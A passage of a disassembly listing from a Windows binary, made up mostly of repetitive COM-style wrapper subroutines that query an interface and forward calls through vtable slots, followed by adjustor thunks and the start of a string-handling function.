pop esi
leave
retn 8
sub_69B7EC45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7ECA1 proc near ; DATA XREF: .text:69B2A6D0o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7ECE8
cmp [ebp+var_4], 0
jz short loc_69B7ECF5
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+10h]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7ECE8: ; CODE XREF: sub_69B7ECA1+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7ECF5
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7ECF5: ; CODE XREF: sub_69B7ECA1+28j
; sub_69B7ECA1+4Cj
mov eax, edi
pop edi
pop esi
leave
retn 8
sub_69B7ECA1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7ECFD proc near ; DATA XREF: .text:69B2A6D4o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7ED47
cmp [ebp+var_4], 0
jz short loc_69B7ED54
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
push [ebp+arg_8]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+14h]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7ED47: ; CODE XREF: sub_69B7ECFD+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7ED54
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7ED54: ; CODE XREF: sub_69B7ECFD+28j
; sub_69B7ECFD+4Fj
mov eax, edi
pop edi
pop esi
leave
retn 0Ch
sub_69B7ECFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7ED5C proc near ; DATA XREF: .text:69B2A6DCo
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7EDA6
cmp [ebp+var_4], 0
jz short loc_69B7EDB3
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
push [ebp+arg_8]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+1Ch]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7EDA6: ; CODE XREF: sub_69B7ED5C+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7EDB3
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7EDB3: ; CODE XREF: sub_69B7ED5C+28j
; sub_69B7ED5C+4Fj
mov eax, edi
pop edi
pop esi
leave
retn 0Ch
sub_69B7ED5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7EDBB proc near ; DATA XREF: .text:69B2A6E0o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7EE08
cmp [ebp+var_4], 0
jz short loc_69B7EE15
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
push [ebp+arg_C]
mov eax, [ebp+var_4]
push [ebp+arg_8]
mov ecx, [eax]
push [ebp+arg_4]
push eax
call dword ptr [ecx+20h]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7EE08: ; CODE XREF: sub_69B7EDBB+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7EE15
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7EE15: ; CODE XREF: sub_69B7EDBB+28j
; sub_69B7EDBB+52j
mov eax, edi
pop edi
pop esi
leave
retn 10h
sub_69B7EDBB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7EE1D proc near ; DATA XREF: .text:69B2A6E4o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7EE6A
cmp [ebp+var_4], 0
jz short loc_69B7EE77
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
push [ebp+arg_C]
mov eax, [ebp+var_4]
push [ebp+arg_8]
mov ecx, [eax]
push [ebp+arg_4]
push eax
call dword ptr [ecx+24h]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7EE6A: ; CODE XREF: sub_69B7EE1D+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7EE77
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7EE77: ; CODE XREF: sub_69B7EE1D+28j
; sub_69B7EE1D+52j
mov eax, edi
pop edi
pop esi
leave
retn 10h
sub_69B7EE1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7EE7F proc near ; DATA XREF: .text:69B2A6E8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7EEC9
cmp [ebp+var_4], 0
jz short loc_69B7EED6
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
push [ebp+arg_8]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+28h]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7EEC9: ; CODE XREF: sub_69B7EE7F+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7EED6
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7EED6: ; CODE XREF: sub_69B7EE7F+28j
; sub_69B7EE7F+4Fj
mov eax, edi
pop edi
pop esi
leave
retn 0Ch
sub_69B7EE7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7EEDE proc near ; DATA XREF: .text:69B2A6ECo
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7EF34
cmp [ebp+var_4], 0
jz short loc_69B7EF41
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
push [ebp+arg_18]
mov eax, [ebp+var_4]
push [ebp+arg_14]
mov ecx, [eax]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [ecx+2Ch]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7EF34: ; CODE XREF: sub_69B7EEDE+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7EF41
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7EF41: ; CODE XREF: sub_69B7EEDE+28j
; sub_69B7EEDE+5Bj
mov eax, edi
pop edi
pop esi
leave
retn 1Ch
sub_69B7EEDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7EF49 proc near ; DATA XREF: .text:69B2A6F0o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7EF90
cmp [ebp+var_4], 0
jz short loc_69B7EF9D
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+30h]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7EF90: ; CODE XREF: sub_69B7EF49+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7EF9D
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7EF9D: ; CODE XREF: sub_69B7EF49+28j
; sub_69B7EF49+4Cj
mov eax, edi
pop edi
pop esi
leave
retn 8
sub_69B7EF49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7EFA5 proc near ; DATA XREF: .text:69B2A6F4o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7EFE9
cmp [ebp+var_4], 0
jz short loc_69B7EFF6
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+34h]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7EFE9: ; CODE XREF: sub_69B7EFA5+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7EFF6
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7EFF6: ; CODE XREF: sub_69B7EFA5+28j
; sub_69B7EFA5+49j
mov eax, edi
pop edi
pop esi
leave
retn 4
sub_69B7EFA5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7EFFE proc near ; DATA XREF: .text:69B2A6F8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7F042
cmp [ebp+var_4], 0
jz short loc_69B7F04F
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+38h]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7F042: ; CODE XREF: sub_69B7EFFE+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7F04F
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7F04F: ; CODE XREF: sub_69B7EFFE+28j
; sub_69B7EFFE+49j
mov eax, edi
pop edi
pop esi
leave
retn 4
sub_69B7EFFE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7F057 proc near ; DATA XREF: .text:69B2A6FCo
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7F09E
cmp [ebp+var_4], 0
jz short loc_69B7F0AB
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+3Ch]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7F09E: ; CODE XREF: sub_69B7F057+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7F0AB
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7F0AB: ; CODE XREF: sub_69B7F057+28j
; sub_69B7F057+4Cj
mov eax, edi
pop edi
pop esi
leave
retn 8
sub_69B7F057 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7F0B3 proc near ; DATA XREF: .text:69B2A700o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7F0FD
cmp [ebp+var_4], 0
jz short loc_69B7F10A
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
push [ebp+arg_8]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+40h]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7F0FD: ; CODE XREF: sub_69B7F0B3+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7F10A
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7F10A: ; CODE XREF: sub_69B7F0B3+28j
; sub_69B7F0B3+4Fj
mov eax, edi
pop edi
pop esi
leave
retn 0Ch
sub_69B7F0B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7F112 proc near ; DATA XREF: .text:69B2A704o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7F15C
cmp [ebp+var_4], 0
jz short loc_69B7F169
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
push [ebp+arg_8]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+44h]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7F15C: ; CODE XREF: sub_69B7F112+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7F169
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7F169: ; CODE XREF: sub_69B7F112+28j
; sub_69B7F112+4Fj
mov eax, edi
pop edi
pop esi
leave
retn 0Ch
sub_69B7F112 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7F171 proc near ; DATA XREF: .text:69B2A708o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7F1BB
cmp [ebp+var_4], 0
jz short loc_69B7F1C8
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
push [ebp+arg_8]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+48h]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7F1BB: ; CODE XREF: sub_69B7F171+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7F1C8
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7F1C8: ; CODE XREF: sub_69B7F171+28j
; sub_69B7F171+4Fj
mov eax, edi
pop edi
pop esi
leave
retn 0Ch
sub_69B7F171 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7F1D0 proc near ; DATA XREF: .text:69B2A70Co
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7F21A
cmp [ebp+var_4], 0
jz short loc_69B7F227
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
push [ebp+arg_8]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+4Ch]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7F21A: ; CODE XREF: sub_69B7F1D0+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7F227
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7F227: ; CODE XREF: sub_69B7F1D0+28j
; sub_69B7F1D0+4Fj
mov eax, edi
pop edi
pop esi
leave
retn 0Ch
sub_69B7F1D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7F22F proc near ; DATA XREF: .text:69B2A710o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7F276
cmp [ebp+var_4], 0
jz short loc_69B7F283
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+50h]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7F276: ; CODE XREF: sub_69B7F22F+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7F283
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7F283: ; CODE XREF: sub_69B7F22F+28j
; sub_69B7F22F+4Cj
mov eax, edi
pop edi
pop esi
leave
retn 8
sub_69B7F22F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7F28B proc near ; DATA XREF: .text:69B2A714o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7F2D2
cmp [ebp+var_4], 0
jz short loc_69B7F2DF
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+54h]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7F2D2: ; CODE XREF: sub_69B7F28B+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7F2DF
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7F2DF: ; CODE XREF: sub_69B7F28B+28j
; sub_69B7F28B+4Cj
mov eax, edi
pop edi
pop esi
leave
retn 8
sub_69B7F28B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7F2E7 proc near ; DATA XREF: .text:69B2A718o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7F331
cmp [ebp+var_4], 0
jz short loc_69B7F33E
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
push [ebp+arg_8]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+58h]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7F331: ; CODE XREF: sub_69B7F2E7+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7F33E
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7F33E: ; CODE XREF: sub_69B7F2E7+28j
; sub_69B7F2E7+4Fj
mov eax, edi
pop edi
pop esi
leave
retn 0Ch
sub_69B7F2E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7F346 proc near ; DATA XREF: .text:69B2A71Co
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7F38D
cmp [ebp+var_4], 0
jz short loc_69B7F39A
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+5Ch]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7F38D: ; CODE XREF: sub_69B7F346+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7F39A
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7F39A: ; CODE XREF: sub_69B7F346+28j
; sub_69B7F346+4Cj
mov eax, edi
pop edi
pop esi
leave
retn 8
sub_69B7F346 endp
; ---------------------------------------------------------------------------
loc_69B7F3A2: ; DATA XREF: .text:off_69B2A740o
sub dword ptr [esp+4], 4
jmp sub_69B7E18D
; ---------------------------------------------------------------------------
loc_69B7F3AC: ; DATA XREF: .text:69B2A744o
sub dword ptr [esp+4], 4
jmp sub_69B7E1A4
; ---------------------------------------------------------------------------
loc_69B7F3B6: ; DATA XREF: .text:69B2A748o
sub dword ptr [esp+4], 4
jmp sub_69B7E1B4
; ---------------------------------------------------------------------------
loc_69B7F3C0: ; DATA XREF: .text:off_69B2A720o
sub dword ptr [esp+4], 8
jmp sub_69B7E18D
; ---------------------------------------------------------------------------
loc_69B7F3CA: ; DATA XREF: .text:69B2A724o
sub dword ptr [esp+4], 8
jmp sub_69B7E1A4
; ---------------------------------------------------------------------------
loc_69B7F3D4: ; DATA XREF: .text:69B2A728o
sub dword ptr [esp+4], 8
jmp sub_69B7E1B4
; ---------------------------------------------------------------------------
loc_69B7F3DE: ; DATA XREF: .text:69B2A72Co
sub dword ptr [esp+4], 8
jmp sub_69B7E3E4
; ---------------------------------------------------------------------------
loc_69B7F3E8: ; DATA XREF: .text:off_69B2A6C0o
sub dword ptr [esp+4], 0Ch
jmp sub_69B7E18D
; ---------------------------------------------------------------------------
loc_69B7F3F2: ; DATA XREF: .text:69B2A6C4o
sub dword ptr [esp+4], 0Ch
jmp sub_69B7E1A4
; ---------------------------------------------------------------------------
loc_69B7F3FC: ; DATA XREF: .text:69B2A6C8o
sub dword ptr [esp+4], 0Ch
jmp sub_69B7E1B4
; ---------------------------------------------------------------------------
loc_69B7F406: ; DATA XREF: .text:off_69B2A6B0o
sub dword ptr [esp+4], 10h
jmp sub_69B7E18D
; ---------------------------------------------------------------------------
loc_69B7F410: ; DATA XREF: .text:69B2A6B4o
sub dword ptr [esp+4], 10h
jmp sub_69B7E1A4
; ---------------------------------------------------------------------------
loc_69B7F41A: ; DATA XREF: .text:69B2A6B8o
sub dword ptr [esp+4], 10h
jmp sub_69B7E1B4
; ---------------------------------------------------------------------------
loc_69B7F424: ; DATA XREF: .text:off_69B2A6A4o
sub dword ptr [esp+4], 14h
jmp sub_69B7E18D
; ---------------------------------------------------------------------------
loc_69B7F42E: ; DATA XREF: .text:69B2A6A8o
sub dword ptr [esp+4], 14h
jmp sub_69B7E1A4
; ---------------------------------------------------------------------------
loc_69B7F438: ; DATA XREF: .text:69B2A6ACo
sub dword ptr [esp+4], 14h
jmp sub_69B7E1B4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7F442 proc near ; DATA XREF: .text:69B2A6D8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
push edi
mov edi, [ebp+arg_0]
mov eax, [edi+14h]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov ebx, eax
test ebx, ebx
jl short loc_69B7F48B
cmp [ebp+var_4], 0
jz short loc_69B7F498
push esi
lea esi, [edi-0Ch]
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+18h]
mov ebx, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
pop esi
loc_69B7F48B: ; CODE XREF: sub_69B7F442+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7F498
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7F498: ; CODE XREF: sub_69B7F442+28j
; sub_69B7F442+4Ej
and [ebp+var_4], 0
lea ecx, [edi-0Ch]
call sub_69B7E6F9
pop edi
mov eax, ebx
pop ebx
leave
retn 8
sub_69B7F442 endp
; =============== S U B R O U T I N E =======================================
sub_69B7F4AC proc near ; CODE XREF: sub_69B814F6+3Dp
push esi
push edi
xor edi, edi
mov esi, ecx
inc edi
cmp dword ptr [esi+24h], 0
jz short loc_69B7F4C7
mov eax, [esi+24h]
mov ecx, [eax]
push eax
call dword ptr [ecx+100h]
mov edi, eax
loc_69B7F4C7: ; CODE XREF: sub_69B7F4AC+Bj
mov ecx, esi
call sub_69B7E6D3
mov eax, edi
pop edi
pop esi
retn
sub_69B7F4AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B7F4D3(LPCWSTR lpString1, int cchWideChar)
sub_69B7F4D3 proc near ; CODE XREF: sub_69B7FF98+8Ep
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_68 = dword ptr -68h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_40 = dword ptr -40h
var_38 = dword ptr -38h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
lpStr1 = dword ptr -8
lpMultiByteStr = dword ptr -4
lpString1 = dword ptr 8
cchWideChar = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 74h
push ebx
push esi
xor ebx, ebx
xor esi, esi
inc esi
mov [ebp+var_20], esi
mov [ebp+var_C], ebx
mov [ebp+var_10], ebx
mov [ebp+lpMultiByteStr], ebx
mov [ebp+var_1C], ebx
mov [ebp+var_14], ebx
call sub_69B7E8D9
cmp eax, ebx
mov [ebp+var_28], eax
jnz short loc_69B7F505
mov eax, esi
jmp loc_69B7F73F
; ---------------------------------------------------------------------------
loc_69B7F505: ; CODE XREF: sub_69B7F4D3+29j
push edi
push 66h ; uID
call sub_69B2F6DD
mov edi, [eax+0Ch]
push [ebp+lpString1] ; pszPath
